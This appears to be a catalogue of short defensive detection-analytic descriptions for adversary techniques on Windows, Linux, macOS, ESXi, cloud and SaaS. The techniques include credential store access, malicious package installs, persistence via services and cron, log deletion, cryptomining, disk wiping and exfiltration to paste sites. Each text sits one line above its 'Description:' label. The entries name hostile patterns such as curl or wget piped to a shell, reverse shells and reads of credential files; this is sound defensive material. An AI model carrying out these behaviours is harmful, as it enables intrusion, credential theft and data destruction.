Defenders observe command-line executions or API-based registry reads targeting sensitive paths like HKLM or HKCU with keyword filters such as 'password', 'cred', or 'logon'. Typically performed by Reg.exe, PowerShell, custom binaries, or offensive tools such as Cobalt Strike. Correlation with process ancestry and command-line arguments indicates suspicious credential discovery activity.
Current version: 1.0
Description:
Detects adversarial use of cloud-native APIs (e.g., AWS IAM, Azure RBAC, GCP Identity) to enumerate cloud group memberships or policy mappings via unauthorized sessions or scripts.
Current version: 1.0
Description:
Identifies unauthorized access or enumeration of administrative roles, security groups, or distribution groups via Exchange/SharePoint/Teams APIs or role discovery scripts.
Current version: 1.0
Description:
Monitors API calls and service-specific logs for enumeration of organizational roles, permissions, and group structure, particularly outside of normal admin behavior baselines.
Current version: 1.0
Description:
User-initiated installation of Python (pip), NodeJS (npm), or other language libraries, followed by unexpected network connections, credential access, or startup file modifications. Defender sees pip install or npm install commands run by a non-root user, followed shortly by new .py, .sh, or .js files in hidden directories, or interpreter-based execution during boot/login.
Current version: 1.0
Description:
Execution of pip.exe, npm.cmd, or MSI installers within user context, followed by script interpreter startup (e.g., python.exe) or PowerShell with unusual child processes or file writes in %APPDATA%, %TEMP%, or %LOCALAPPDATA%. Defender correlates command-line install tools with Sysmon and Event Logs to trace downstream behavior.
Current version: 1.0
Description:
Execution of Homebrew, pip3, npm, or manually downloaded PKGs from Terminal or shell, followed by the creation of startup agents, interpreter spawns, or outbound connections to unfamiliar domains. Defender links Terminal commands to plist creation, unsigned binary launches, and python3 or node processes connecting to remote endpoints.
Current version: 1.0
Description:
Detects the creation or modification of .service unit files in system/user-level directories, combined with execution of systemctl, service, or dynamically created drop-ins via systemd generators. Detects persistence by analyzing the ExecStart path, file entropy, and symlink usage, especially when paired with execution from /tmp, /dev/shm, or unmounted volumes.
Current version: 1.0
Description:
Monitor for anomalies in transmitted data streams, including mismatched file integrity checks, API interception, or man-in-the-middle modifications. Detect unexpected use of APIs that handle network I/O where transmitted data integrity could be manipulated.
Current version: 1.0
Description:
Detect alterations of transmitted data via monitoring syscalls (send, recv, write) or middleware interception. Identify mismatched file hashes when compared at origin vs. destination. Watch for anomalous activity from processes interacting with secure transmission services (e.g., OpenSSL, scp).
Current version: 1.0
Description:
Monitor system APIs such as CFNetwork and SecureTransport for anomalies in transmitted data streams. Detect mismatches in file hashes or SSL/TLS downgrade attempts that enable manipulation of transmitted data.
Current version: 1.0
Description:
Monitor for use of native utilities such as wevtutil.exe or PowerShell cmdlets (Get-WinEvent, Get-EventLog) to enumerate or export logs. Unusual access to security or system event channels, especially by non-administrative users or processes, should be correlated with subsequent file export or network transfer activity.
Current version: 1.0
Description:
Monitor for suspicious use of commands such as cat, less, grep, or journalctl accessing /var/log/ files. Abnormal enumeration of authentication logs (auth.log, secure) or bulk access to multiple logs in short time windows should be flagged.
Current version: 1.0
Description:
Detect abnormal access to unified logs via log show or fs_usage targeting system log files. Monitor for execution of shell utilities (cat, grep) against /var/log/system.log and for plist modifications enabling verbose logging.
Current version: 1.0
Description:
Monitor for cloud API calls that export or collect guest or system logs. Abnormal use of Azure VM Agent’s CollectGuestLogs.exe or AWS CloudWatch GetLogEvents across multiple instances should be correlated with lateral movement or data staging.
Current version: 1.0
Description:
Monitor ESXi shell or API access to host logs under /var/log/. Abnormal enumeration of vmkernel.log, hostd.log, or vpxa.log by unauthorized accounts should be flagged.
Current version: 1.0
Description:
Suspicious reuse of SSH agent sockets across multiple users or processes, anomalous access to ~/.ssh/ or /tmp/ssh-* sockets, and abnormal patterns of lateral movement via SSH without new authentication events. Defender view: detect when one process accesses another user's SSH agent or when an existing SSH connection is used to pivot unexpectedly.
Current version: 1.0
Description:
Unusual access to SSH agent sockets in /tmp/ or /private/tmp, process access to another user’s $SSH_AUTH_SOCK, and lateral SSH activity without corresponding login events. Defender view: correlation of socket access with anomalous network flows to internal systems.
Current version: 1.0
Description:
Detects extraction or mounting of container/archive files (e.g., .iso, .vhd, .zip) that originated from the Internet but whose contained files lack Zone.Identifier MOTW tagging. Correlates file creation metadata with subsequent execution of unsigned or untrusted binaries launched outside SmartScreen or Protected View.
Current version: 1.0
Description:
Defender observes unauthorized modification or creation of Python hook files such as .pth, sitecustomize.py, or usercustomize.py in Python site-packages, dist-packages, or user paths. This is often correlated with subsequent unexpected interpreter execution (e.g., python3 running without user interaction), changes in interpreter behavior (e.g., malicious imports), and outbound connections initiated from Python. Defender links write/modify actions on hook files with execve of python process and/or anomalous child process or network activity.
Current version: 1.0
Description:
Adversary installation or use of RMM software (e.g., TeamViewer, AnyDesk, ScreenConnect) followed by outbound beaconing or remote session establishment
Current version: 1.0
Description:
Execution of known or custom VNC/remote desktop daemons or tunneling agents that initiate external communication after launch
Current version: 1.0
Description:
Initiation of remote desktop sessions via AnyDesk, TeamViewer, or Chrome Remote Desktop accompanied by unexpected user logins or system modifications
Current version: 1.0
Description:
Defenders may detect adversaries forging web credentials in IaaS environments by monitoring for anomalous API activity such as AssumeRole or GetFederationToken being executed by unusual principals. These events often correlate with sudden logon sessions from unfamiliar IP addresses or regions. The chain is usually secret material misuse (stolen private key or password) → API request generating a new token → access to high-value resources.
Current version: 1.0
Description:
Forged web credentials may manifest as anomalous SAML token issuance, OpenID Connect token minting, or Zimbra pre-auth key usage. Defenders may see tokens issued without normal authentication events, multiple valid tokens generated simultaneously, or signing anomalies in IdP logs.
Current version: 1.0
Description:
Forged web credentials on Windows endpoints may be detected by anomalous browser cookie files, local token cache manipulations, or tools injecting tokens into sessions. Defenders may observe processes accessing LSASS or browser credential stores unexpectedly, followed by unusual logon sessions.
Current version: 1.0
Description:
On Linux systems, forged credentials may be injected into browser session files, curl/wget headers, or token caches in memory. Detection can leverage auditd to track processes accessing sensitive files (~/.mozilla, ~/.config/chromium, ~/.aws/credentials) and correlate with suspicious outbound connections.
Current version: 1.0
Description:
Forged credentials on macOS may be visible through Unified Logs showing abnormal access to Keychain or browser session files. Correlated with anomalous web session usage from Safari or Chrome processes outside typical user context.
Current version: 1.0
Description:
SaaS platforms may show forged credentials as unusual API keys, tokens, or session cookies being used without corresponding authentication. Correlated patterns include simultaneous valid sessions from multiple geographies, unusual API calls with new tokens, or bypass of expected MFA enforcement.
Current version: 1.0
Description:
Forged web credentials in Office Suite contexts may appear as abnormal authentication headers in Outlook or Teams traffic, or unexplained OAuth grants in M365/Azure logs. Defenders should correlate token usage events with missing authentication flows and mismatched device/user context.
Current version: 1.0
Description:
Detects file reads across locations followed by writes to temp or staging directories, often compressed or encrypted, indicating local staging behavior.
Current version: 1.0
Description:
Detects aggregation of files from different directories into /tmp, /mnt, or user-specified directories with archiving tools like tar or gzip.
Current version: 1.0
Description:
Detects staged data aggregated in /Users/Shared, /private/tmp with compression tools like ditto or zip, initiated via Terminal or AppleScript.
Current version: 1.0
Description:
Detects local staging behavior via snapshot creation or files written into VMFS partitions by scripts or unauthorized shell access.
Current version: 1.0
Description:
Monitor DNS query results where subsequent connections use derived or unusual port numbers not explicitly resolved, especially when tied to suspicious processes. Correlate Sysmon DNS logs (Event ID 22) with process creation and socket activity.
Current version: 1.0
Description:
Inspect resolver and audit logs for processes initiating outbound connections to ports calculated from DNS response IPs. Abnormal ephemeral port usage shortly after DNS queries can indicate DNS calculation behavior.
Current version: 1.0
Description:
Use unified logs to detect unusual DNS responses correlated with subsequent connections to calculated or non-standard ports. Monitor non-browser apps making repeated outbound connections that deviate from expected patterns.
Current version: 1.0
Description:
Analyze ESXi syslogs for management agents or VMs making outbound connections to dynamically calculated ports derived from DNS responses. Cross-check with VM traffic baselines to identify anomalies.
Current version: 1.0
Description:
Anomalous or bulk download activity from private or restricted repositories by non-developer or privileged accounts, often preceded by unusual login behavior (e.g., unfamiliar geo, OAuth token use, elevated API rate).
Current version: 1.0
Description:
Detects JavaScript execution through WSH (wscript.exe, cscript.exe) or HTA (mshta.exe), particularly when spawned from Office macros, web browsers, or abnormal user paths. Correlates script execution with outbound network activity or system modification.
Current version: 1.0
Description:
Detects JavaScript for Automation (JXA) via osascript or compiled scripts using OSAKit APIs. Flags execution involving system modification, inter-process scripting, or browser abuse.
Current version: 1.0
Description:
Detects Node.js or JavaScript interpreter execution from web shells, cron jobs, or local users. Correlates execution with reverse shell behavior, file modifications, or abnormal outbound connections.
Current version: 1.0
Description:
Abuse of launchctl to execute or manage Launch Agents and Daemons. Defender perspective: correlation of suspicious plist file creation or modification in LaunchAgents/LaunchDaemons directories with subsequent execution of the launchctl command. Abnormal executable paths (e.g., /tmp, /Shared) or launchctl activity followed by network connections are highly suspicious.
Current version: 1.0
Description:
Detects mailbox manipulation or deletion via PowerShell (e.g., Remove-MailboxExportRequest), file deletion from Outlook data stores (Unistore.db), or tampering with quarantined mail logs.
Current version: 1.0
Description:
Detects the use of mail utilities like mail or mailx to delete mailbox content, or file-level deletion of inbox files from /var/spool/mail/ or /var/mail/ following suspicious sessions.
Current version: 1.0
Description:
Detects removal of Apple Mail artifacts via AppleScript or direct deletion of mailbox content in ~/Library/Mail/, especially when preceded by Remote Login or C2-related API access.
Current version: 1.0
Description:
Detects Exchange Online or on-prem transport rule changes (e.g., header stripping) and mailbox export cleanup via Remove-MailboxExportRequest, as well as admin actions via Exchange PowerShell sessions.
Current version: 1.0
Description:
Persistent high CPU utilization combined with suspicious command-line execution (e.g., mining tools or obfuscated scripts) and outbound connections to mining/proxy networks.
Current version: 1.0
Description:
Abnormal CPU/memory usage by unauthorized processes with outbound connections to known mining pools or using cron jobs/scripts to maintain persistence.
Current version: 1.0
Description:
Background launch agents/daemons with high CPU use and network access to external mining services.
Current version: 1.0
Description:
Sudden spikes in cloud VM CPU usage with outbound traffic to mining pools and unauthorized instance creation.
Current version: 1.0
Description:
High CPU usage by unauthorized containers running mining binaries or public proxy tools.
Current version: 1.0
Description:
Abuse of cloud messaging platforms to send mass spam or consume quota-based resources.
Current version: 1.0
Description:
Detects adversarial archiving using libraries (zlib, zip APIs) invoked by scripts or binaries. Correlates process executions of Python, PowerShell, or custom .NET binaries with DLL/module loads linked to compression libraries, followed by archive file creation.
Current version: 1.0
Description:
Detects adversarial archiving by scripts or binaries calling compression libraries (libzip, zlib, bzip2). Correlates execution of Python, Perl, or compiled binaries with dynamic linking to archiving libraries and creation of compressed files in /tmp or user directories.
Current version: 1.0
Description:
Detects malicious archiving via system or third-party libraries (libz, libarchive) invoked by Python, Swift, or Objective-C binaries. Correlates unified logs of library loads with creation of compressed or encrypted archives (.zip, .gz, .bz2, .dmg).
Current version: 1.0
Description:
Logon via RDP or WMI by a user account followed by uncommon command execution, file manipulation, or lateral network connections.
Current version: 1.0
Description:
SSH session from new source IP followed by interactive shell or privilege escalation (e.g., sudo, su) and outbound lateral connection.
Current version: 1.0
Description:
Remote login via ARD or SSH followed by screensharingd process activity or modification of TCC-protected files.
Current version: 1.0
Description:
Use of cloud-based bastion or VM console session followed by commands that initiate outbound SSH or RDP sessions from the cloud instance to other environments.
Current version: 1.0
Description:
vSphere API logins (vimService) or SSH to ESXi host followed by unauthorized shell commands or lateral remote logins from the ESXi host.
Current version: 1.0
Description:
Adversary modifies Group Policy Objects (GPOs), domain trust, or directory service objects via GUI, CLI, or programmatic APIs. Behavior includes creation/modification of GPOs, delegation permissions, trust objects, or rogue domain controller registration.
Current version: 1.0
Description:
Adversary modifies tenant policy through changes to federation configuration, trust settings, or identity provider additions in Microsoft 365/AzureAD via Portal, PowerShell, or Graph API. Includes setting authentication to federated or updating federated domains.
Current version: 1.0
Description:
Detects anomalous process access to LSASS on domain controllers, suspicious module loads of authentication DLLs, and registry or file modifications indicative of Skeleton Key–style patching. Correlates LSASS access attempts with subsequent abnormal logon activity patterns.
Current version: 1.0
Description:
Detects unauthorized modification of network device authentication by correlating OS image file changes, checksum mismatches, or memory verification failures with anomalous authentication events. Focus is on behaviors where patched images introduce hardcoded passwords or bypass native authentication.
Current version: 1.0
Description:
Processes that normally do not initiate network connections establishing outbound encrypted TLS/SSL sessions, especially with asymmetric traffic volumes (client sending more than receiving) or non-standard certificate chains. Defender observations correlate process creation with unexpected network encryption libraries being loaded.
Current version: 1.0
Description:
Processes like curl, wget, python, socat, or custom binaries initiating TLS/SSL sessions to non-standard destinations. Defender sees abnormal syscalls for connect(), loading of libssl libraries, and persistent outbound encrypted traffic from daemons not normally communicating externally.
Current version: 1.0
Description:
Applications or launchd jobs initiating encrypted TLS traffic to rare external hosts. Defender observes unified logs showing ssl/TLS API calls by processes not baseline-approved, and payload entropy suggesting encrypted C2 sessions.
Current version: 1.0
Description:
VMware management daemons or guest processes initiating encrypted connections outside expected vCenter, update servers, or internal comms. Defender identifies hostd or vpxa initiating outbound TLS flows with uncommon destinations.
Current version: 1.0
Description:
Unusual TLS tunnels through ports not normally encrypted (e.g., TLS on port 8080, 53). Defender sees NetFlow/IPFIX or packet inspection indicating high-entropy traffic volumes and asymmetric client/server exchange ratios.
Current version: 1.0
Description:
Correlation of registry key modification for Run/RunOnce with abnormal parent-child process relationships and outlier execution at user logon or system startup
Current version: 1.0
Description:
Correlates creation/modification of systemd service files or /etc/init.d scripts with outlier process behavior during boot
Current version: 1.0
Description:
Observes creation or modification of LaunchAgent/LaunchDaemon property list files combined with anomalous plist payload execution after user logon
Current version: 1.0
Description:
An adversary leverages built-in tools such as certutil.exe, powershell.exe, or copy.exe to decode, reassemble, or extract hidden malicious content from obfuscated containers or encoded formats. The decoding utility often spawns shortly after file staging or download and may be chained with script interpreters or further payload execution.
Current version: 1.0
Description:
The adversary uses native utilities like base64, gzip, tar, or openssl to decode, decompress, or decrypt files that were previously staged or downloaded. These tools may be chained with curl/wget and executed via bash/zsh, often to extract an embedded payload or reverse shell script.
Current version: 1.0
Description:
The adversary invokes built-in scripting or decoding tools like base64, plutil, or AppleScript-based utilities to decode files embedded in staging artifacts. Decoding often occurs post-download or as part of post-exploitation payload deployment via zsh, python, or osascript.
Current version: 1.0
Description:
Detection of rogue Domain Controller registration and Active Directory replication abuse by correlating: (1) creation/modification of nTDSDSA and server objects in the Configuration partition, (2) unexpected usage of Directory Replication Service SPNs (GC/ or E3514235-4B06-11D1-AB04-00C04FC2DCD2), (3) replication RPC calls (DrsAddEntry, DrsReplicaAdd, GetNCChanges) originating from non-DC hosts, and (4) Kerberos authentication by non-DC machines using DRS-related SPNs. These events in combination, especially from hosts outside the Domain Controllers OU, may indicate DCShadow or rogue DC activity.
Current version: 1.0
Description:
Detection of new IAM roles or policies attached to a user/service in AWS/GCP/Azure outside normal patterns or hours, often following account compromise.
Current version: 1.0
Description:
Behavioral chain of a user being granted elevated privileges or roles in Entra ID or Okta following suspicious login or account creation activity.
Current version: 1.0
Description:
Detection of new admin or role assignment actions within Microsoft 365/O365 environments to elevate access for persistence or lateral movement.
Current version: 1.0
Description:
Unusual modification of boot records (MBR, VBR) or EFI partitions not associated with legitimate patch cycles or OS upgrades. Registry or WMI events associated with firmware update tools executed from unexpected parent processes. API calls (e.g., DeviceIoControl) writing directly to raw disk sectors. Subsequent abnormal boot configuration changes followed by unsigned driver loads.
Current version: 1.0
Description:
Detection of writes to /boot or EFI directories outside of expected package manager updates. Monitoring kernel log and auditd events for attempts to overwrite bootloader binaries (e.g., grub, shim). Unexpected execution of efibootmgr or dd writing to /dev/sdX devices followed by boot parameter changes.
Current version: 1.0
Description:
Abnormal modification of EFI firmware binaries in /System/Library/CoreServices/ or NVRAM parameters not associated with OS updates. Unified logs capturing calls to bless or nvram commands executed from untrusted parent processes. Sudden unsigned kext loads after EFI variable tampering.
Current version: 1.0
Description:
Unexpected firmware image uploads via TFTP/FTP/SCP. Configuration changes modifying boot image pointers. Logs showing boot variable redirection to non-standard images. Anomalous reboots immediately following firmware changes not tied to patch schedules.
Current version: 1.0
Description:
Monitor for abnormal creation or modification of Windows services (e.g., via sc.exe, PowerShell, or API calls) that load non-standard executables. Correlate registry changes in service keys with service creation events and process execution to detect service abuse for persistence or execution.
Current version: 1.0
Description:
Detect unusual invocations of systemctl, service, or init scripts creating or modifying daemons. Monitor audit logs for execution of binaries from unexpected paths linked to service start/stop activity.
Current version: 1.0
Description:
Monitor launchd service definitions and property list (.plist) modifications for non-standard executables. Detect unauthorized processes registered as launch daemons or agents.
Current version: 1.0
Description:
Behavior chain involving abnormal registry modifications via CLI, PowerShell, WMI, or direct API calls, especially targeting persistence, privilege escalation, or defense evasion keys, potentially followed by service restart or process execution. Such as editing Notify/Userinit/Startup keys, or disabling SafeDllSearchMode.
Current version: 1.0
Description:
Monitors for compression tool usage (e.g., 7zip, WinRAR, MakeCab) that follows or precedes file modification, suspicious file types (e.g., .exe, .dll) being compressed, or dropped from self-extracting archives followed by immediate execution.
Current version: 1.0
Description:
Detects sequential command-line compression utilities (e.g., gzip, tar, zip, 7z) followed by execution of unpacked files, especially in temp directories or under non-standard locations like /dev/shm or /tmp with ELF binaries.
Current version: 1.0
Description:
Identifies archive utilities (e.g., ditto, unzip, xar, pkgutil) used to extract payloads to non-standard paths, then correlates with execution or file permission changes (e.g., chmod +x) and process spawns from decompressed location.
Current version: 1.0
Description:
Detection focuses on identifying anomalous regsvr32.exe executions that deviate from normal administrative or system use. Defenders may observe regsvr32.exe loading scriptlets or DLLs from unusual paths (especially temporary directories or remote URLs), command-line arguments invoking /i or /u with suspicious file references, network connections initiated by regsvr32.exe, and unsigned or untrusted DLLs being loaded shortly after regsvr32.exe invocation. Correlated sequences include regsvr32.exe process creation, module load of DLL/scriptlet, and optional outbound network traffic.
Current version: 1.0
Description:
Detection of suspicious token manipulation chains: use of token-related APIs (e.g., LogonUser, DuplicateTokenEx) or commands (runas) → spawning of a new process under a different security context (e.g., SYSTEM) → mismatched parent-child process lineage or anomalies in Event Tracing for Windows (ETW) token/PPID data → abnormal lateral or privilege escalation activity.
Current version: 1.0
Description:
Unexpected processes (e.g., powershell.exe, wscript.exe, office apps) initiating HTTP POST/PUT requests to text storage domains like pastebin.com or hastebin.com, particularly when preceded by file access in sensitive directories. Defender perspective: correlation of process lineage, large clipboard/file read operations, and outbound uploads to text storage services.
Current version: 1.0
Description:
Use of curl, wget, or custom scripts to POST data to pastebin-like services. Defender perspective: identify chained behavior where files are compressed/read followed by HTTPS POST requests to text-sharing endpoints.
Current version: 1.0
Description:
Processes such as osascript, curl, or office applications sending data to text storage APIs/domains. Defender perspective: anomalous clipboard or file reads by unexpected applications immediately followed by outbound HTTPS requests to pastebin-like services.
Current version: 1.0
Description:
ESXi services (vmx, hostd) generating outbound HTTPS POST requests to text storage sites. Defender perspective: anomalous datastore or log reads chained with traffic to pastebin-like destinations.
Current version: 1.0
Description:
A remote DCOM invocation by a privileged account using RPC (port 135), followed by abnormal process instantiation or module loading on the remote system indicative of code execution.
Current version: 1.0
Description:
Monitor for anomalous email activity originating from Windows-hosted applications (e.g., Outlook) where the sending account name or display name does not match the underlying SMTP address. Detect abnormal volume of outbound messages containing sensitive keywords (e.g., 'payment', 'wire transfer') or anomalous login locations for accounts associated with email sending activity.
Current version: 1.0
Description:
Monitor mail server logs (Postfix, Sendmail, Exim) for anomalous From headers mismatching authenticated SMTP identities. Detect abnormal relay attempts, spoofed envelope-from values, or large-scale outbound campaigns targeting internal users.
Current version: 1.0
Description:
Monitor Mail.app activity or unified logs for anomalous SMTP usage, including mismatches between display name and authenticated AppleID or Exchange credentials. Detect use of third-party mail utilities that attempt to send on behalf of corporate identities.
Current version: 1.0
Description:
Monitor SaaS mail platforms (Google Workspace, M365, Okta-integrated apps) for SendAs/SendOnBehalfOf operations where the delegated permissions are unusual or newly granted. Detect impersonation attempts where adversaries configure rules to auto-forward or auto-reply with impersonated content.
Current version: 1.0
Description:
Monitor Office Suite applications (Outlook, Word mail merge, Excel macros) for abnormal automated message sending, especially when macros or scripts trigger email delivery. Detect patterns of impersonation language (urgent, payment, executive request) combined with anomalous execution of Office macros.
Current version: 1.0
Description:
Cause→effect chain: (1) A client app (browser, Office, PDF/Flash/reader) experiences a crash/abnormal exit or loads from an unusual location, then (2) drops or modifies a file in user-writable paths, and/or (3) spawns an unexpected child (e.g., powershell/cmd/mshta/rundll32/wscript/installer), and (4) establishes outbound C2-like connections shortly after. Correlate application logs, file writes, process lineage, and network egress within a short window.
Current version: 1.0
Description:
Cause→effect chain: (1) Browser/Office/reader process logs crash/segfault or abnormal sandbox message, (2) new executable/script/write occurs in $HOME (Downloads, ~/.cache, /tmp), (3) unexpected child like curl/wget/bash/python opens network connections soon after.
Current version: 1.0
Description:
Cause→effect chain: (1) App crash/abnormal termination in unified logs for Safari/Chrome/Office/Preview, (2) new files/scripts in ~/Library, ~/Downloads, /private/var/folders/*, (3) unexpected child (osascript, zsh, bash, curl) spawned by those apps, (4) new outbound connections.
Current version: 1.0
Description:
Correlates suspicious removal or modification of the com.apple.quarantine extended attribute, manipulation of LSFileQuarantineEnabled values in Info.plist, and unexpected process execution of unsigned or non-notarized binaries. Also monitors abnormal trust validation failures in unified logs and unusual activity in QuarantineEvents database entries.
Current version: 1.0
Description:
Cloud API events where logging services are stopped, deleted, or modified in a way that disables audit visibility. Defender view: unauthorized StopLogging, DeleteTrail, or UpdateSink operations correlated with privileged user activity.
Current version: 1.0
Description:
Disabling or modifying sign-in or audit log collection for user activities. Defender view: policy or configuration updates removing logging coverage for critical accounts.
Current version: 1.0
Description:
Disabling mailbox or tenant-level audit logging, often using Set-MailboxAuditBypassAssociation or downgrading license tiers. Defender view: sudden absence of mailbox activity logging for monitored users.
Current version: 1.0
Description:
Disabling or altering security and audit logs in SaaS admin panels (e.g., Slack, Zoom, Salesforce). Defender view: API calls or admin console changes that stop event exports or logging integrations.
Current version: 1.0
Description:
Detects creation or modification of crontab entries by non-root users or from abnormal parent processes, followed by the execution of uncommon binaries at scheduled intervals.
Current version: 1.0
Description:
Detects crontab job additions or modifications via crontab utility or direct edits, especially those created by interactive users executing hidden or renamed scripts.
Current version: 1.0
Description:
Detects direct modification of crontab entries in /var/spool/cron/crontabs/root or /etc/rc.local.d/local.sh followed by execution of scripts linked to lateral movement or malware persistence.
Current version: 1.0
Description:
Detects web console login events followed by read-only or metadata retrieval activity from GUI sources (e.g., browser session, mobile client) rather than API/CLI sources. Correlates across CloudTrail, IAM identity logs, and user-agent context.
Current version: 1.0
Description:
Detects successful login to cloud identity portals (e.g., Okta, Azure AD, Google Identity) from atypical geolocations, devices, or user agents immediately followed by dashboard/portal navigation to sensitive pages such as user or app configuration.
Current version: 1.0
Description:
Detects login to admin consoles (e.g., Microsoft 365 Admin Center) from unrecognized users, devices, or geolocations followed by non-API data review or configuration read actions that suggest GUI dashboard use.
Current version: 1.0
Description:
Detects SaaS web login followed by dashboard or web GUI page views from unfamiliar locations, devices, or access patterns. Identifies use of sensitive reporting or configuration consoles accessed from high-risk accounts.
Current version: 1.0
Description:
Detection of file execution where the file name contains a trailing space to masquerade as a known executable. Adversaries may exploit the way command line interpreters handle file names with trailing whitespace.
Current version: 1.0
Description:
Execution of renamed or dropped files with a trailing space to deceive users or analysts, especially in LaunchAgents or LaunchDaemons.
Current version: 1.0
Description:
Detects injection or tampering of DLLs in hybrid identity agents (e.g., AzureADConnectAuthenticationAgentService), registry or configuration changes tied to PTA/AD FS, and anomalous LSASS or AD FS module loads correlated with authentication anomalies.
Current version: 1.0
Description:
Detects registration of new PTA agents, conditional access changes disabling hybrid MFA enforcement, or suspicious updates to AD FS token-signing configurations.
Current version: 1.0
Description:
Detects API calls registering or updating hybrid identity connectors, modification of cloud-to-on-premises federation trust, and unusual token issuance logs.
Current version: 1.0
Description:
Detects tenant-wide authentication or conditional access changes that weaken hybrid identity enforcement, including disabling AD FS or bypassing hybrid MFA policies.
Current version: 1.0
Description:
Detects suspicious changes to SAML/OAuth federation configurations, such as new signing certificates, altered endpoints, or claims issuance rules granting elevated privileges.
Current version: 1.0
Description:
User opens a file delivered by email, web, chat, or share. The handler application (Word/PDF reader/archiver) creates a file in user-controlled paths (Downloads, Temp, Desktop) and then spawns a new or unusual child process (e.g., powershell.exe, wscript.exe, cmd.exe, regsvr32.exe, rundll32.exe, msiexec.exe). Optional precursors include FileStreamCreated (URL/UNC) and Office → system32 batch writes.
Current version: 1.0
Description:
User opens a downloaded document/installer leading to EndpointSecurity file create in ~/Downloads or ~/Library paths then an exec of a suspicious utility (osascript, bash/zsh, curl, chmod, open with -a Terminal). Correlates File Creation with subsequent process exec and, optionally, quarantine/LSQuarantine events.
Current version: 1.0
Description:
User or desktop application writes a new file to ~/Downloads, /tmp, or mounted removable media followed by execve of a risky interpreter/loader (bash, sh, python, perl, php, node, curl|wget piping to sh, ld.so, rdesktop, xdg-open - with unusual args). Uses auditd PATH+SYSCALL (open/creat/write/rename) with execve event linking.
Current version: 1.0
Description:
Detects hijacking of an existing thread (OpenThread) through a behavioral chain involving thread suspension (SuspendThread), memory modification (VirtualAllocEx + WriteProcessMemory), context manipulation (SetThreadContext), and thread resumption—all within another live process's address space (ResumeThread).
Current version: 1.0
Description:
Detects suspicious DNS/ARP poisoning attempts, unauthorized modifications to registry/network configuration, or abnormal TLS downgrade activity. Correlates changes in system configuration with subsequent unusual network flows or authentication events.
Current version: 1.0
Description:
Detects unauthorized edits to /etc/hosts, /etc/resolv.conf, or suspicious ARP broadcasts. Correlates file modifications with subsequent unexpected network sessions or service creation.
Current version: 1.0
Description:
Detects unauthorized edits to system configuration profiles, unexpected certificate trust changes, or abnormal ARP/DNS patterns indicative of interception.
Current version: 1.0
Description:
Detects unauthorized firmware or configuration changes enabling adversary-in-the-middle positioning (e.g., route injection, DNS spoofing, SSL downgrade). Behavioral analytics focus on sudden changes to routing tables or image file integrity failures.
Current version: 1.0
Description:
Processes attempting raw disk access to overwrite sensitive structures such as the MBR or partition table using \.\PhysicalDrive notation. Detection relies on correlating process creation, privilege escalation, and raw sector writes in Sysmon and Security logs.
Current version: 1.0
Description:
Execution of utilities (dd, hdparm, sgdisk) or custom binaries attempting to overwrite disk boot structures (/dev/sda MBR sector or partition tables). Detection correlates shell execution with syscalls writing to sector 0 or disk metadata blocks.
Current version: 1.0
Description:
Abnormal invocation of diskutil or asr that modifies partition tables or initializes raw devices. Monitor for IOKit system calls targeting disk headers or EFI boot sectors, correlated with elevated privileges.
Current version: 1.0
Description:
Execution of destructive CLI commands such as format flash:, format disk, or equivalent vendor-specific commands that erase filesystem structures. Detection correlates AAA logs showing privileged access with immediate format/erase commands.
Current version: 1.0
Description:
Detects adversarial archiving using built-in or third-party utilities (makecab, diantz, xcopy, certutil, 7z, WinRAR, WinZip). Correlates suspicious process creation events with command-line arguments for compression/encoding, followed by creation of archive files (.cab, .zip, .7z, .rar). Identifies anomalous loading of crypt32.dll for encryption operations or execution of diantz.exe to compress remotely staged files.
Current version: 1.0
Description:
Detects execution of archiving utilities (tar, gzip, bzip2, xz, zip, openssl) followed by suspicious archive file creation. Correlates archive creation in temporary or staging directories with execution of commands involving compression or encryption options.
Current version: 1.0
Description:
Detects invocation of macOS-native archiving utilities (zip, ditto, hdiutil) or openssl used for encryption. Correlates execution with archive or encrypted file creation (.zip, .dmg, .tar.gz) in user or temporary directories. Identifies anomalous use of archiving commands by Office applications or daemons.
Current version: 1.0
Description:
Sequential behavioral chain of privilege escalation through permission modification: (1) Process creation of permission-modifying utilities (icacls, takeown, attrib, cacls), (2) Correlation with unusual user context or timing, (3) DACL modification events targeting sensitive files/directories, (4) Subsequent file access or modification attempts indicating successful privilege bypass
Current version: 1.0
Description:
Behavioral sequence of unauthorized privilege escalation via permission modification: (1) chmod/chown/setfacl process execution with suspicious parameters, (2) Targeting of critical system files or unusual permission values, (3) Correlation with non-privileged user context or unusual timing patterns, (4) Follow-on file access indicating successful permission bypass
Current version: 1.0
Description:
macOS-specific permission modification behavioral chain: (1) chmod/chown/chflags process execution, (2) System Integrity Protection (SIP) bypass attempts, (3) Extended attribute (xattr) modifications, (4) Unified log correlation with file system events, (5) Subsequent access to previously restricted resources
Current version: 1.0
Description:
ESXi hypervisor permission modification behavioral chain: (1) SSH access to ESXi host, (2) chmod/chown execution on VMFS datastore files or system configuration, (3) Modification of VM configuration files (.vmx) or virtual disk permissions, (4) Hostd service log correlation, (5) vCenter permission change events if centrally managed
Current version: 1.0
Description:
Detect anomalous chains of memory allocation and execution inside the same process (e.g., VirtualAlloc → memcpy → VirtualProtect → CreateThread). Unlike process injection, reflective code loading does not perform cross-process memory writes — the suspicious activity occurs entirely within the process’s own PID context.
Current version: 1.0
Description:
Monitor for in-process mmap + mprotect + execve/execveat activity where memory permissions are changed from writable to executable inside the same process without a corresponding ELF on disk.
Current version: 1.0
Description:
Suspicious calls to dlopen(), dlsym(), or mmap with RWX flags in processes that do not typically perform dynamic module loading. Monitor anonymous memory regions executed by user processes.
Current version: 1.0
Description:
Execution of files originating from removable media after drive mount, with correlation to file write activity, autorun usage, or lateral spread via staged tools.
Current version: 1.0
Description:
A remote source rapidly touches a short sequence of closed ports (SYN→RST/S0) on a Windows host. Within a short window the host changes firewall state (WFP rule added/modified or service starts listening) and then the same source completes the first successful handshake to the newly opened port.
Current version: 1.0
Description:
A source performs a short closed-port sequence; the host then modifies iptables/nftables/ufw rules or starts a daemon binding a new socket, followed by a successful connection from the same source.
Current version: 1.0
Description:
A source performs a closed-port sequence; the endpoint enables a PF/socketfilterfw rule or a background process binds a port; then a successful connection completes from the same source.
Current version: 1.0
Description:
Router/switch receives a knock pattern (same src touches device unicast, broadcast, and network-address on same or stepped ports) followed by ACL/line-vty/service enable and the first mgmt session success.
Current version: 1.0
Description:
Adversary enumeration of local user accounts using Net.exe, WMI, or PowerShell.
Current version: 1.0
Description:
Enumeration of local users or groups via file access (/etc/passwd) or commands like id, groups.
Current version: 1.0
Description:
Enumeration of macOS local users using dscl, id, dscacheutil, or /etc/passwd access.
Current version: 1.0
Description:
